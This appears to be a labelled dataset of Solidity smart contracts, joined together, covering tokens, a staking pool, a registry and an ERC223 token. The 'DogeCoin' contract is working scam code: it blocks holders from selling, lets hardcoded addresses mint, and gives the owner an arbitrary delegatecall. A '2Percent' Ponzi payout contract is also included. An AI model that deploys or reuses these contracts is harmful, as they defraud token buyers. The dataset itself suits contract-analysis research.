uint256 jETHSupply = pool.jETHToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && jETHSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 testaReward = multiplier.mul(testaPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accTestaPerShare = accTestaPerShare.add(testaReward.mul(1e18).div(jETHSupply));
}
uint256 rewardDebt = user.rewardDebt[pool.debtIndexKey];
return user.amount.mul(accTestaPerShare).div(1e18).sub(rewardDebt).add(user.pendingTesta[pool.debtIndexKey]);
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function updatePool(uint256 _pid) public validPool(_pid) {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 jETHSupply = pool.jETHToken.balanceOf(address(this));
if (jETHSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 testaReward = multiplier.mul(testaPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
pool.accTestaPerShare = pool.accTestaPerShare.add(testaReward.mul(1e18).div(jETHSupply));
pool.lastRewardBlock = block.number;
}
function deposit(uint256 _pid, uint256 _amount) public validPool(_pid) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
user.pendingTesta[pool.debtIndexKey] = pendingTesta(_pid, msg.sender);
}
if(_amount > 0) {
pool.jETHToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18);
emit Deposit(msg.sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public validPool(_pid) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "No jETHToken cannot withdraw");
updatePool(_pid);
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.jETHToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18);
user.pendingTesta[pool.debtIndexKey] = 0;
emit Withdraw(msg.sender, _pid, _amount);
}
function emergencyWithdraw(uint256 _pid) public validPool(_pid) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt[pool.debtIndexKey] = 0;
pool.jETHToken.safeTransfer(address(msg.sender), _amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
}
function safeTestaTransfer(address _to, uint256 _amount) internal {
uint256 testaBal = IERC20(testa).balanceOf(address(this));
if (_amount > testaBal) {
testa.call(abi.encodeWithSignature("transfer(address,uint256)", _to, testaBal));
} else {
testa.call(abi.encodeWithSignature("transfer(address,uint256)", _to, _amount));
}
}
} | 0 | 1,460 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract DogeCoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,668 |
pragma solidity ^0.4.24;
contract ERC223Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract SRATOKEN is ERC223Interface, Pausable {
using SafeMath for uint256;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor(string name, string symbol, uint8 decimals, uint256 totalSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze)
public
onlyOwner
{
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
require(_value > 0 );
require(_value <= balances[msg.sender]);
require(!frozenAccount[_to]);
require(!frozenAccount[msg.sender]);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transfer(address _to, uint _value, bytes _data)
public
whenNotPaused
returns (bool)
{
require(_value > 0 );
require(!frozenAccount[_to]);
require(!frozenAccount[msg.sender]);
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function isContract(address _addr)
private
view
returns (bool is_contract)
{
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
function transferFrom(address _from, address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
require(_value > 0 );
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(!frozenAccount[_to]);
require(!frozenAccount[_from]);
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
public
whenNotPaused
returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue)
public
whenNotPaused
returns (bool)
{
allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)
public
whenNotPaused
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount)
public
returns (bool seccess)
{
require(amount > 0);
require(addresses.length > 0);
require(!frozenAccount[msg.sender]);
uint256 totalAmount = amount.mul(addresses.length);
require(balances[msg.sender] >= totalAmount);
bytes memory empty;
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0));
require(!frozenAccount[addresses[i]]);
balances[addresses[i]] = balances[addresses[i]].add(amount);
emit Transfer(msg.sender, addresses[i], amount, empty);
}
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint256[] amounts)
public returns (bool) {
require(addresses.length > 0);
require(addresses.length == amounts.length);
require(!frozenAccount[msg.sender]);
uint256 totalAmount = 0;
for(uint i = 0; i < addresses.length; i++){
require(amounts[i] > 0);
require(addresses[i] != address(0));
require(!frozenAccount[addresses[i]]);
totalAmount = totalAmount.add(amounts[i]);
}
require(balances[msg.sender] >= totalAmount);
bytes memory empty;
for (i = 0; i < addresses.length; i++) {
balances[addresses[i]] = balances[addresses[i]].add(amounts[i]);
emit Transfer(msg.sender, addresses[i], amounts[i], empty);
}
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint256[] amounts)
public
onlyOwner
returns (bool) {
require(addresses.length > 0);
require(addresses.length == amounts.length);
uint256 totalAmount = 0;
bytes memory empty;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0);
require(addresses[j] != address(0));
require(!frozenAccount[addresses[j]]);
require(balances[addresses[j]] >= amounts[j]);
balances[addresses[j]] = balances[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
emit Transfer(addresses[j], msg.sender, amounts[j], empty);
}
balances[msg.sender] = balances[msg.sender].add(totalAmount);
return true;
}
} | 1 | 2,756 |
pragma solidity ^0.4.24;
contract _2Percent {
address public owner;
uint public investedAmount;
address[] public addresses;
uint public lastPaymentDate;
uint constant public interest = 2;
uint constant public transactions_limit = 100;
mapping(address => Member) public members;
uint constant public min_withdraw = 100000000000000 wei;
uint constant public min_invest = 10000000000000000 wei;
struct Member
{
uint id;
address referrer;
uint deposit;
uint deposits;
uint date;
}
constructor() public {
owner = msg.sender;
addresses.length = 1;
}
function getMemberCount() public view returns (uint) {
return addresses.length - 1;
}
function getMemberDividendsAmount(address addr) public view returns (uint) {
return members[addr].deposit / 100 * interest * (now - members[addr].date) / 1 days;
}
function bytesToAddress(bytes bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function selfPayout() private {
require(members[msg.sender].id > 0, "Member not found.");
uint amount = getMemberDividendsAmount(msg.sender);
require(amount >= min_withdraw, "Too small amount, minimum 0.0001 ether");
members[msg.sender].date = now;
msg.sender.transfer(amount);
}
function() payable public {
if (owner == msg.sender) {
return;
}
if (0 == msg.value) {
selfPayout();
return;
}
require(msg.value >= min_invest, "Too small amount, minimum 0.01 ether");
Member storage user = members[msg.sender];
if (user.id == 0) {
msg.sender.transfer(0 wei);
user.date = now;
user.id = addresses.length;
addresses.push(msg.sender);
address referrer = bytesToAddress(msg.data);
if (members[referrer].deposit > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
} else {
selfPayout();
}
user.deposits += 1;
user.deposit += msg.value;
lastPaymentDate = now;
investedAmount += msg.value;
owner.transfer(msg.value / 5);
if (user.referrer > 0x0) {
uint bonusAmount = (msg.value / 100) * interest;
user.referrer.send(bonusAmount);
if (user.deposits == 1) {
msg.sender.send(bonusAmount);
}
}
}
} | 0 | 2,000 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Lockable is Ownable {
event Lock();
event Unlock();
bool public locked = false;
modifier whenNotLocked() {
require(!locked);
_;
}
modifier whenLocked() {
require(locked);
_;
}
function lock() onlyOwner whenNotLocked public {
locked = true;
Lock();
}
function unlock() onlyOwner whenLocked public {
locked = false;
Unlock();
}
}
contract BaseFixedERC20Token is Lockable {
using SafeMath for uint;
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping (address => uint)) private allowed;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
function balanceOf(address owner_) public view returns (uint balance) {
return balances[owner_];
}
function transfer(address to_, uint value_) whenNotLocked public returns (bool) {
require(to_ != address(0) && value_ <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(value_);
balances[to_] = balances[to_].add(value_);
Transfer(msg.sender, to_, value_);
return true;
}
function transferFrom(address from_, address to_, uint value_) whenNotLocked public returns (bool) {
require(to_ != address(0) && value_ <= balances[from_] && value_ <= allowed[from_][msg.sender]);
balances[from_] = balances[from_].sub(value_);
balances[to_] = balances[to_].add(value_);
allowed[from_][msg.sender] = allowed[from_][msg.sender].sub(value_);
Transfer(from_, to_, value_);
return true;
}
function approve(address spender_, uint value_) whenNotLocked public returns (bool) {
if (value_ != 0 && allowed[msg.sender][spender_] != 0) {
revert();
}
allowed[msg.sender][spender_] = value_;
Approval(msg.sender, spender_, value_);
return true;
}
function allowance(address owner_, address spender_) view public returns (uint) {
return allowed[owner_][spender_];
}
}
contract BaseICOToken is BaseFixedERC20Token {
uint public availableSupply;
address public ico;
event ICOTokensInvested(address indexed to, uint amount);
event ICOChanged(address indexed icoContract);
function BaseICOToken(uint totalSupply_) public {
locked = true;
totalSupply = totalSupply_;
availableSupply = totalSupply_;
}
function changeICO(address ico_) onlyOwner public {
ico = ico_;
ICOChanged(ico);
}
function isValidICOInvestment(address to_, uint amount_) internal view returns(bool) {
return msg.sender == ico && to_ != address(0) && amount_ <= availableSupply;
}
function icoInvestment(address to_, uint amount_) public returns (uint) {
require(isValidICOInvestment(to_, amount_));
availableSupply -= amount_;
balances[to_] = balances[to_].add(amount_);
ICOTokensInvested(to_, amount_);
return amount_;
}
}
contract DATOToken is BaseICOToken {
using SafeMath for uint;
string public constant name = 'DATO token';
string public constant symbol = 'DATO';
uint8 public constant decimals = 18;
uint internal constant ONE_TOKEN = 1e18;
uint public utilityLockedDate;
event ReservedTokensDistributed(address indexed to, uint8 group, uint amount);
function DATOToken(uint totalSupplyTokens_,
uint reservedStaffTokens_,
uint reservedUtilityTokens_)
BaseICOToken(totalSupplyTokens_ * ONE_TOKEN) public {
require(availableSupply == totalSupply);
utilityLockedDate = block.timestamp + 1 years;
availableSupply = availableSupply
.sub(reservedStaffTokens_ * ONE_TOKEN)
.sub(reservedUtilityTokens_ * ONE_TOKEN);
reserved[RESERVED_STAFF_GROUP] = reservedStaffTokens_ * ONE_TOKEN;
reserved[RESERVED_UTILITY_GROUP] = reservedUtilityTokens_ * ONE_TOKEN;
}
function() external payable {
revert();
}
uint8 public RESERVED_STAFF_GROUP = 0x1;
uint8 public RESERVED_UTILITY_GROUP = 0x2;
mapping(uint8 => uint) public reserved;
function getReservedTokens(uint8 group_) view public returns (uint) {
return reserved[group_];
}
function assignReserved(address to_, uint8 group_, uint amount_) onlyOwner public {
require(to_ != address(0) && (group_ & 0x3) != 0);
if (group_ == RESERVED_UTILITY_GROUP) {
require(block.timestamp >= utilityLockedDate);
}
reserved[group_] = reserved[group_].sub(amount_);
balances[to_] = balances[to_].add(amount_);
ReservedTokensDistributed(to_, group_, amount_);
}
} | 1 | 4,571 |
pragma solidity ^0.4.18;
contract DocumentRegistry {
mapping(string => uint256) registry;
function register(string hash) public {
require(registry[hash] == 0);
registry[hash] = block.timestamp;
}
function check(string hash) public constant returns (uint256) {
return registry[hash];
}
} | 1 | 4,613 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract PancakeSwap {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
